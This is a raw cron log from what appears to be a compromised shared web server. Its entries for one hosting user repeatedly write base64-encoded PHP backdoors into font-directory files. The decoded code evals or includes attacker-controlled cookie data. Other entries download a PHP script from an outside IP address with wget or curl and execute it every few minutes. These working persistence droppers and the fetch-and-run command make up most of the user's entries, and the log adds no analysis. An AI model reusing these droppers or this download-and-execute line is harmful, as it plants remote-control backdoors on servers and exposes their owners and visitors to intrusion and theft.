Feb 22 21:57:01 ip-184-168-122-23 CROND[14017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:57:01 ip-184-168-122-23 CROND[14018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:57:01 ip-184-168-122-23 CROND[14019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:58:01 ip-184-168-122-23 CROND[14353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:58:01 ip-184-168-122-23 CROND[14354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:58:01 ip-184-168-122-23 CROND[14357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:58:01 ip-184-168-122-23 CROND[14355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:58:01 ip-184-168-122-23 CROND[14356]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:59:01 ip-184-168-122-23 CROND[14692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:59:01 ip-184-168-122-23 CROND[14695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:59:01 ip-184-168-122-23 CROND[14694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:59:01 ip-184-168-122-23 CROND[14698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:00:01 ip-184-168-122-23 CROND[15039]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 22:00:01 ip-184-168-122-23 CROND[15041]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Feb 22 22:00:01 ip-184-168-122-23 CROND[15040]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 22:00:01 ip-184-168-122-23 CROND[15046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:00:01 ip-184-168-122-23 CROND[15048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:00:01 ip-184-168-122-23 CROND[15051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:00:01 ip-184-168-122-23 CROND[15049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:00:01 ip-184-168-122-23 CROND[15050]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:00:01 ip-184-168-122-23 CROND[15052]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 22:01:01 ip-184-168-122-23 CROND[15472]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 22:01:01 ip-184-168-122-23 CROND[15470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:01:01 ip-184-168-122-23 CROND[15474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:01:01 ip-184-168-122-23 CROND[15473]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 22:01:01 ip-184-168-122-23 CROND[15475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:01:01 ip-184-168-122-23 CROND[15478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15472]: starting 0anacron
Feb 22 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15491]: finished 0anacron
Feb 22 22:02:01 ip-184-168-122-23 CROND[16124]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:02:01 ip-184-168-122-23 CROND[16127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:02:01 ip-184-168-122-23 CROND[16126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:02:01 ip-184-168-122-23 CROND[16131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:02:01 ip-184-168-122-23 CROND[16130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:03:01 ip-184-168-122-23 CROND[16487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:03:01 ip-184-168-122-23 CROND[16490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:03:01 ip-184-168-122-23 CROND[16491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:03:01 ip-184-168-122-23 CROND[16492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:04:01 ip-184-168-122-23 CROND[16830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:04:01 ip-184-168-122-23 CROND[16837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:04:01 ip-184-168-122-23 CROND[16834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:04:01 ip-184-168-122-23 CROND[16835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:04:01 ip-184-168-122-23 CROND[16836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:05:01 ip-184-168-122-23 CROND[17167]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 22:05:01 ip-184-168-122-23 CROND[17169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:05:01 ip-184-168-122-23 CROND[17174]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 22:05:01 ip-184-168-122-23 CROND[17178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:05:01 ip-184-168-122-23 CROND[17179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:05:01 ip-184-168-122-23 CROND[17180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:05:01 ip-184-168-122-23 CROND[17181]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 22:06:01 ip-184-168-122-23 CROND[17529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:06:01 ip-184-168-122-23 CROND[17530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:06:01 ip-184-168-122-23 CROND[17532]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:06:01 ip-184-168-122-23 CROND[17535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:06:01 ip-184-168-122-23 CROND[17533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:07:01 ip-184-168-122-23 CROND[17871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:07:01 ip-184-168-122-23 CROND[17874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:07:01 ip-184-168-122-23 CROND[17873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:07:01 ip-184-168-122-23 CROND[17876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:08:01 ip-184-168-122-23 CROND[18201]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:08:01 ip-184-168-122-23 CROND[18205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:08:02 ip-184-168-122-23 CROND[18204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:08:02 ip-184-168-122-23 CROND[18207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:08:02 ip-184-168-122-23 CROND[18210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
